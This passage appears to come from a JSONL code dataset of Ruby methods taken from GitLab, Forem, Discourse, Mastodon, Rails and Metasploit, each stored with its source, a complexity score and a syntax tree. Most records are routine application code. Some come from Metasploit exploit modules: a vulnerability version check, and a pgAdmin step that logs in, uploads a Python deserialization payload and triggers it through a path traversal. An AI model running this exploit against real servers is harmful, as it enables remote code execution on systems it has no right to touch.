]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gitlab_secure_files\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storage\"]},\"GitLabSecureFiles\"]},\"configure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab_host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gitlab_host\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gitlab_project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git_url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"job_token\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_token\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"readonly\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"team_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"team_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"team_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"team_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key\"]}]}]}]}]}]}]}]}]}]}]}","id":"09e7761d-1861-4da7-a70f-9b63ffc98e5a"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/subforems_controller.rb","start_line":172,"raw_source":"def create_page\n    @page = Page.new(page_params.merge(subforem_id: @subforem.id))\n    \n    # Force markdown-only pages, no top-level paths for subforem moderators\n    @page.body_html = nil\n    @page.body_json = nil\n    @page.body_css = nil\n    @page.template = \"contained\"\n    @page.is_top_level_path = false\n    \n    if @page.save\n      flash[:success] = I18n.t(\"views.subforems.pages.created\")\n      redirect_to manage_subforem_path\n    else\n      flash.now[:error] = @page.errors_as_sentence\n      render :new_page\n    end\n  end","complexity_score":25.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@page\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subforem_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subforem\"]},\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"body_html=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"body_json=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"body_css=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"template=\",{\"type\":\"str\",\"children\":[\"contained\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"is_top_level_path=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"views.subforems.pages.created\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"manage_subforem_path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"errors_as_sentence\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new_page\"]}]}]}]}]}]}","id":"036b0bc9-25ec-4d84-aa79-ec3990a4ee0b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/remote_theme.rb","start_line":413,"raw_source":"def normalize_override(hex)\n    return unless hex\n\n    override = hex.downcase\n    override = nil if override !~ /\\A[0-9a-f]{6}\\z/\n    override\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_override\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"override\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"override\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A[0-9a-f]{6}\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"override\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvar\",\"children\":[\"override\"]}]}]}","id":"7a86647f-7667-4ad4-9b06-5f5467f650b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/merge_requests/update_service_spec.rb","start_line":45,"raw_source":"def find_notes(action)\n      @merge_request\n        .notes\n        .joins(:system_note_metadata)\n        .where(system_note_metadata: { action: action })\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_notes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"notes\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"system_note_metadata\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"system_note_metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]}]}]}","id":"9eb3cafe-59ca-456c-b206-3617fdcf62d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/ref_service.rb","start_line":23,"raw_source":"def initialize(repository)\n        @repository = repository\n        @gitaly_repo = repository.gitaly_repository\n        @storage = repository.storage\n\n        self.repository_actor = repository\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@gitaly_repo\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"gitaly_repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@storage\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"repository_actor=\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]}]}]}","id":"85067eb5-f8ac-4ff6-bb34-78ac163fdc8f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/eventlog_file_upload.rb","start_line":100,"raw_source":"def check\n    version = get_version\n    if version >= \"7\" and version <= \"9\"\n      # version 7 to < 8.1 detection\n      res = send_request_cgi({\n        'uri' => normalize_uri(\"event/agentUpload\"),\n        'method' => 'GET'\n      })\n      if res and res.code == 405\n        return Exploit::CheckCode::Appears\n      end\n\n      # version 8.1+ detection\n      res = send_request_cgi({\n        'uri' => normalize_uri(\"agentUpload\"),\n        'method' => 'GET'\n      })\n      if res and res.code == 405 and version == 8\n        return Exploit::CheckCode::Appears\n      else\n        # We can't be sure that it is vulnerable in version 9\n        return Exploit::CheckCode::Detected\n      end\n\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end","complexity_score":28.28,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\">=\",{\"type\":\"str\",\"children\":[\"7\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"str\",\"children\":[\"9\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"event/agentUpload\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[405]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"agentUpload\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[405]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"==\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]}","id":"c5b094ab-31b8-4af7-b0ab-447da3bc3816"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/error_tracking/projects_controller_spec.rb","start_line":114,"raw_source":"def project_params(opts = {})\n    opts.reverse_merge(namespace_id: project.namespace, project_id: project)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"project_params\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"reverse_merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}","id":"46a0083c-3015-4a22-b879-23fcccdfe71a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/pgadmin_session_deserialization.rb","start_line":94,"raw_source":"def exploit_upload\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'authenticate/login'),\n      'method' => 'POST',\n      'keep_cookies' => true,\n      'vars_post' => {\n        'csrf_token' => csrf_token,\n        'email' => datastore['USERNAME'],\n        'password' => datastore['PASSWORD'],\n        'language' => 'en',\n        'internal_button' => 'Login'\n      }\n    })\n\n    unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')\n      fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')\n    end\n    print_status('Successfully authenticated to pgAdmin')\n\n    serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)\n\n    file_name = Faker::File.file_name(dir: '', directory_separator: '')\n    file_manager_upload(file_name, serialized_data)\n    trigger_deserialization(\"../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}\")\n    file_manager_delete(file_name)\n  end","complexity_score":41.63,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_upload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"authenticate/login\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"csrf_token\"]},{\"type\":\"send\",\"children\":[null,\"csrf_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"language\"]},{\"type\":\"str\",\"children\":[\"en\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"internal_button\"]},{\"type\":\"str\",\"children\":[\"Login\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"!=\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Failed to authenticate to pgAdmin\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Successfully authenticated to pgAdmin\"]}]},{\"type\":\"lvasgn\",\"children\":[\"serialized_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"PythonDeserialization\"]},\"payload\",{\"type\":\"sym\",\"children\":[\"py3_exec_threaded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"File\"]},\"file_name\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dir\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"directory_separator\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"file_manager_upload\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"serialized_data\"]}]},{\"type\":\"send\",\"children\":[null,\"trigger_deserialization\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../storage/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"file_manager_delete\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}","id":"fe69e8ca-58d9-4c41-bda6-35c416c0f0fe"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_status_update_service.rb","start_line":368,"raw_source":"def skip_download?\n    return @skip_download if defined?(@skip_download)\n\n    @skip_download ||= DomainBlock.reject_media?(@account.domain)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_download?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@skip_download\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@skip_download\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@skip_download\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DomainBlock\"]},\"reject_media?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"domain\"]}]}]}]}]}","id":"b1b76d41-0194-453b-90cf-a2f07b275994"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_pool_test.rb","start_line":590,"raw_source":"def test_explicit_retirement\n        pool = new_pool_with_options(max_age: nil, async: false)\n\n        conn = pool.checkout\n\n        assert_not_predicate conn, :connected?\n        assert_nil conn.connection_age\n\n        conn.connect!\n\n        assert_predicate conn, :connected?\n        assert_operator conn.connection_age, :>=, 0\n        assert_operator conn.connection_age, :<, 1\n\n        pool.recycle!\n\n        assert_equal Float::INFINITY, conn.connection_age\n\n        pool.checkin conn\n        pool.retire_old_connections\n\n        assert_not_predicate conn, :connected?\n      end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_explicit_retirement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pool\",{\"type\":\"send\",\"children\":[null,\"new_pool_with_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_age\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"checkout\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"conn\"]},{\"type\":\"sym\",\"children\":[\"connected?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"connection_age\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"connect!\"]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"conn\"]},{\"type\":\"sym\",\"children\":[\"connected?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"connection_age\"]},{\"type\":\"sym\",\"children\":[\">=\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"connection_age\"]},{\"type\":\"sym\",\"children\":[\"<\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"recycle!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"connection_age\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"checkin\",{\"type\":\"lvar\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"retire_old_connections\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"conn\"]},{\"type\":\"sym\",\"children\":[\"connected?\"]}]}]}]}","id":"d73c869d-7691-4e73-9103-b55ad0cc3c52"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/projects/archive_events.rb","start_line":9,"raw_source":"def publish_project_archived_event\n      event = Projects::ProjectArchivedEvent.new(data: {\n        project_id: project.id,\n        namespace_id: project.namespace_id,\n        root_namespace_id: project.root_namespace.id\n      })\n\n      Gitlab::EventStore.publish(event)\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_project_archived_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"ProjectArchivedEvent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"root_namespace\"]},\"id\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EventStore\"]},\"publish\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}","id":"a232799d-83f3-4890-ae83-3f3cf981397a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/auto_target.rb","start_line":78,"raw_source":"def filter_by_os_family(host_record)\n      return [] if host_record.os_family.blank?\n      filtered_targets = targets.collect do |target|\n        if target.name =~ /#{host_record.os_family}/\n          target\n        else\n          nil\n        end\n      end\n      filtered_targets.compact\n    end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_os_family\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host_record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_record\"]},\"os_family\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"filtered_targets\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_record\"]},\"os_family\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filtered_targets\"]},\"compact\"]}]}]}","id":"b1b00e92-266c-40fd-8c4c-d04e2566a405"}
